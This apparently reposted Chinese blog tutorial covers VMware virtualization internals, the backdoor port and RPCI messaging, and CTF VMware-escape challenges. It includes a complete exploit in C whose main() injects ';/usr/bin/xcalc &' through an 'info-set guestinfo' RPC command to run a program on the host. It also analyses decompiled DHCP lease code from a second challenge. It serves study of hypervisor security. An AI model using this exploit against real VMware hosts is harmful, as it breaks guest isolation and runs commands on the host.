推荐本站淘宝优惠价购买喜欢的宝贝:
虚拟化相关概念
VMM 简介
VMM 的特性
VMM 的模式
特权指令与非特权指令
VT 技术
VMware 相关软件
VMware 基本架构
VMware I/O 虚拟化
VMware 内存虚拟化
balloon 技术
基于内容的页共享技术
空闲内存缴税技术
动态再分配技术
VMware CPU 虚拟化
直接执行技术
二进制翻译
VMware 相关的重要组件
VMware RPCI
Backdoor
/*
*----------------------------------------------------------------------------
*
* Backdoor_InOut --
*
* Send a low-bandwidth basic request (16 bytes) to vmware, and return its
* reply (24 bytes).
*
* Results:
* Host-side response returned in bp IN/OUT parameter.
*
* Side effects:
* Pokes the backdoor.
*
*----------------------------------------------------------------------------
*/
void
Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
uint32 dummy;
__asm__ __volatile__(
#ifdef __PIC__
"pushl %%ebx" "\n\t"
#endif
"pushl %%eax" "\n\t"
"movl 20(%%eax), %%edi" "\n\t"
"movl 16(%%eax), %%esi" "\n\t"
"movl 12(%%eax), %%edx" "\n\t"
"movl 8(%%eax), %%ecx" "\n\t"
"movl 4(%%eax), %%ebx" "\n\t"
"movl (%%eax), %%eax" "\n\t"
"inl %%dx, %%eax" "\n\t"
"xchgl %%eax, (%%esp)" "\n\t"
"movl %%edi, 20(%%eax)" "\n\t"
"movl %%esi, 16(%%eax)" "\n\t"
"movl %%edx, 12(%%eax)" "\n\t"
"movl %%ecx, 8(%%eax)" "\n\t"
"movl %%ebx, 4(%%eax)" "\n\t"
"popl (%%eax)" "\n\t"
#ifdef __PIC__
"popl %%ebx" "\n\t"
#endif
: "=a" (dummy)
: "0" (myBp)
/*
* vmware can modify the whole VM state without the compiler knowing
* it. So far it does not modify EFLAGS. --hpreg
*/
:
#ifndef __PIC__
"ebx",
#endif
"ecx", "edx", "esi", "edi", "memory"
);
}
/*
* If you want to add a new low-level backdoor call for a guest userland
* application, please consider using the GuestRpc mechanism instead.
*/
#define BDOOR_MAGIC 0x564D5868
/* Low-bandwidth backdoor port number for the IN/OUT interface. */
#define BDOOR_PORT 0x5658
/* High-bandwidth backdoor port. */
#define BDOORHB_PORT 0x5659
typedef union {
struct {
DECLARE_REG_NAMED_STRUCT(ax);
size_t size; /* Register bx. */
DECLARE_REG_NAMED_STRUCT(cx);
DECLARE_REG_NAMED_STRUCT(dx);
DECLARE_REG_NAMED_STRUCT(si);
DECLARE_REG_NAMED_STRUCT(di);
} in;
struct {
DECLARE_REG_NAMED_STRUCT(ax);
DECLARE_REG_NAMED_STRUCT(bx);
DECLARE_REG_NAMED_STRUCT(cx);
DECLARE_REG_NAMED_STRUCT(dx);
DECLARE_REG_NAMED_STRUCT(si);
DECLARE_REG_NAMED_STRUCT(di);
} out;
} Backdoor_proto;
void
Backdoor(Backdoor_proto *myBp) // IN/OUT
{
BackdoorInterface interface = BackdoorGetInterface();
myBp->in.ax.word = BDOOR_MAGIC;
switch (interface) {
case BACKDOOR_INTERFACE_IO:
myBp->in.dx.halfs.low = BDOOR_PORT;
break;
...
}
switch (interface) {
case BACKDOOR_INTERFACE_IO:
Backdoor_InOut(myBp);
break;
...
}
}#define BDOOR_CMD_MESSAGE 30
#define MESSAGE_STATUS_SUCCESS 0x0001
Bool
Message_OpenAllocated(uint32 proto, Message_Channel *chan,
char *receiveBuffer, size_t receiveBufferSize)
{
uint32 flags;
Backdoor_proto bp;
flags = GUESTMSG_FLAG_COOKIE;
retry:
/* IN: Type */
bp.in.cx.halfs.high = MESSAGE_TYPE_OPEN;
/* IN: Magic number of the protocol and flags */
bp.in.size = proto | flags;
bp.in.cx.halfs.low = BDOOR_CMD_MESSAGE;
Backdoor(&bp);
/* OUT: Status */
if ((bp.in.cx.halfs.high & MESSAGE_STATUS_SUCCESS) == 0) {
if (flags) {
/* Cookies not supported. Fall back to no cookie. --hpreg */
flags = 0;
goto retry;
}
MESSAGE_LOG("Message: Unable to open a communication channel\n");
return FALSE;
}
/* OUT: Id and cookie */
chan->id = bp.in.dx.halfs.high;
chan->cookieHigh = bp.out.si.word;
chan->cookieLow = bp.out.di.word;
/* Initialize the channel */
chan->in = (unsigned char *)receiveBuffer;
chan->inAlloc = receiveBufferSize;
ASSERT((receiveBuffer == NULL) == (receiveBufferSize == 0));
chan->inPreallocated = receiveBuffer != NULL;
return TRUE;
}RPC 通信过程
+------------------+
| Open RPC channel |
+---------+--------+
|
+------------v-----------+
| Send RPC command length|
+------------+-----------+
|
+------------v-----------+
| Send RPC command data |
+------------+-----------+
|
+-------------v------------+
| Recieve RPC reply length |
+-------------+------------+
|
+------------v-----------+
| Receive RPC reply data |
+------------+-----------+
|
+--------------v-------------+
| Finish receiving RPC reply |
+--------------+-------------+
|
+---------v---------+
| Close RPC channel |
+-------------------+
Open RPC channel
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}
Send RPC command data
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
Recieve RPC reply length
Receive RPC reply data
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
Finish receiving RPC reply
Close RPC channel
环境搭建
下载 vmware 安装脚本
安装 vmware
安装虚拟机
编译 open-vm-tools
sudo apt-get install autoconf automake libtool
sudo apt-get install libpam0g-dev
sudo apt-get install libssl-dev
sudo apt-get install libxml2-dev
sudo apt-get install libxmlsec1-dev
sudo apt-get install libx11-dev
sudo apt-get install libxext-dev
sudo apt-get install libxinerama-dev
sudo apt-get install libxi-dev
sudo apt-get install libxrender-dev
sudo apt-get install libxrandr-dev
sudo apt-get install libxtst-dev
sudo apt-get install libgdk-pixbuf2.0-dev
sudo apt-get install libgtk-3-dev
sudo apt-get install libgtkmm-3.0-dev
例题：2019数字经济公测大赛-VMware逃逸
环境搭建
漏洞分析 & 漏洞利用
exp
#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void byte_dump(char *desc, void *addr, int len) {
uint8_t *buf8 = (unsigned char *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len; i += 16) {
printf(" %04x", i);
for (int j = 0; j < 16; j++) {
i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 16 && j + i < len; j++) {
printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');
}
puts("");
}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rdi,%%r10\n\t"
"movq %%rsi,%%r11\n\t"
"movq %%rdx,%%r12\n\t"
"movq %%rcx,%%r13\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0xc9435052,%%ebx\n\t"
"movl $0x1e,%%ecx\n\t"
"movl $0x5658,%%edx\n\t"
"out %%eax,%%dx\n\t"
"movl %%edi,(%%r10)\n\t"
"movl %%esi,(%%r11)\n\t"
"movl %%edx,(%%r12)\n\t"
"movl %%ecx,(%%r13)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
typedef struct {
int cookie1;
int cookie2;
int num;
} channel;
void run_cmd(char *cmd) {
channel cannel;
int res, len;
channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
if (!res) {
puts("[-] fail to open channel.");
exit(EXIT_FAILURE);
}
channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
if (!res) {
puts("[-] fail to set len");
exit(EXIT_FAILURE);
}
channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd) + 0x10, cmd, &res);
channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
if (!res) {
puts("[-] fail to recv data len");
exit(EXIT_FAILURE);
}
printf("[*] recv len:%d\n", len);
char *data = malloc(len + 0x10);
memset(data, 0, len + 0x10);
for (int i = 0; i < len + 0x10; i += 4) {
channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
}
byte_dump("recv data", data, len + 0x10);
channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to recv finish");
exit(EXIT_FAILURE);
}
channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to close channel");
exit(EXIT_FAILURE);
}
}
int main() {
run_cmd("info-set guestinfo.x ;/usr/bin/xcalc &");
run_cmd("info-get guestinfo.x");
return 0;
}成功执行命令。
例题： 2021D^3CTF Real_VMPWN
环境搭建
漏洞分析
comp1 = comp;
if ( (flags & 0x10) == 0 && comp->ends > timer )// !(lease -> flags & ABANDONED_LEASE) && comp -> ends > cur_time
{
comp_uid = comp->uid;
if ( comp_uid )
{
lease_uid = lease->uid;
if ( !lease_uid )
goto LABEL_8;
uid_len = comp->uid_len; // (comp -> uid && lease -> uid)
if ( uid_len == lease->uid_len )
{
comp = (lease *)comp->uid;
v49 = uid_len;
enter_uid = memcmp(comp, lease->uid, uid_len);
v10 = v49;
if ( !enter_uid ) // comp -> uid_len == lease -> uid_len && (memcmp (comp -> uid, lease -> uid, comp -> uid_len) == 0)
{
if ( comp_uid == lease_uid )
goto LABEL_11;
goto LABEL_7;
}
}
}
else if ( *(_WORD *)&comp->hardware_addr.htype == *(_WORD *)&lease->hardware_addr.htype )// comp -> hardware_addr.htype == lease -> hardware_addr.htype
{
hlen = comp->hardware_addr.hlen;
haddr = lease->hardware_addr.haddr;
v32 = comp->hardware_addr.haddr;
comp = (lease *)((char *)comp + 0xB2);
v50 = hlen;
v45 = memcmp(comp, lease->hardware_addr.haddr, hlen);
v30 = v50;
if ( !v45 ) // memcmp (comp -> hardware_addr.haddr, lease -> hardware_addr.haddr, comp -> hardware_addr.hlen) == 0
{
if ( !comp1->hardware_addr.htype )
{
v13 = 1;
enter_uid = 1;
comp1->starts = lease->starts;
uid = (lease *)lease->uid;
if ( uid )
goto LABEL_16;
goto LABEL_81;
}
enter_uid = 1;
goto LABEL_60;
}
}
LODWORD(v4) = 0;
v29 = piaddr(comp);
warn("Lease conflict at %s", v29);
return v4;
}# define ABANDONED_LEASE 16
if (!(lease -> flags & ABANDONED_LEASE) &&
comp -> ends > cur_time &&
(((comp -> uid && lease -> uid) &&
(comp -> uid_len != lease -> uid_len ||
memcmp (comp -> uid, lease -> uid, comp -> uid_len))) ||
(!comp -> uid &&
((comp -> hardware_addr.htype !=
lease -> hardware_addr.htype) ||
(comp -> hardware_addr.hlen !=
lease -> hardware_addr.hlen) ||
memcmp (comp -> hardware_addr.haddr,
lease -> hardware_addr.haddr,
comp -> hardware_addr.hlen))))) {
warn ("Lease conflict at %s",
piaddr (comp -> ip_addr));
return 0;
}if(!(lease -> flags & ABANDONED_LEASE) && comp -> ends > cur_time) {
if(comp -> uid) {
if(!lease -> uid) {
goto LABEL_8;
}
if(comp -> uid_len == lease -> uid_len) {
if(!memcmp (comp -> uid, lease -> uid, comp -> uid_len)) {
// 已经不满足 if 条件
if(comp -> uid == lease -> uid){
goto LABEL_11;
}
goto LABEL_7;
}
}
} else if(comp -> hardware_addr.htype != lease -> hardware_addr.htype) {
if(!memcmp (comp -> hardware_addr.haddr, lease -> hardware_addr.haddr, comp -> hardware_addr.hlen)) {
// 已经不满足 if 条件
enter_uid = 1
if(!comp -> hardware_addr.htype) {
if(lease -> uid) {
goto LABEL_16;
}
goto LABEL_81;
}
goto LABEL_60;
}
}
warn ("Lease conflict at %s", piaddr (comp -> ip_addr));
return 0;if (comp -> uid) {
if(comp->uid != lease->uid) {
if(!lease->uid) {
goto LABEL_8;
}
LABEL_7:
if(comp -> uid_len == lease -> uid_len) {
if(!memcmp (comp -> uid, lease -> uid, comp -> uid_len) && comp -> uid_len <= sizeof (lease -> uid_buf)) {
goto LABEL_11;
}
}
LABEL_8:
uid_hash_delete (comp);
enter_uid = 1;
if (comp -> uid != &comp -> uid_buf [0]) {
free (comp -> uid);
comp -> uid_max = 0;
comp -> uid_len = 0;
}
comp -> uid = (unsigned char *)0;
}
enter_uid = 0;
goto LABEL_11;
} else {
enter_uid = 1;
}if ( lease->uid_len )
{
*v2 = 0;
fprintf(unk_30ECC8, "\n\tuid %2.2x", *lease->uid);
v8 -= (*v2 == 0) - 1;
if ( lease->uid_len > 1 )
{
v23 = 1;
do
{
*v2 = 0;
fprintf(unk_30ECC8, ":%2.2x", lease->uid[v23]);
v8 -= (*v2 == 0) - 1;
++v23;
}
while ( lease->uid_len > v23 );
}
IO_putc(';', unk_30ECC8);
}
本文链接：https://hqyman.cn/post/6306.html 非本站原创文章欢迎转载，原创文章需保留本站地址！
休息一下~~
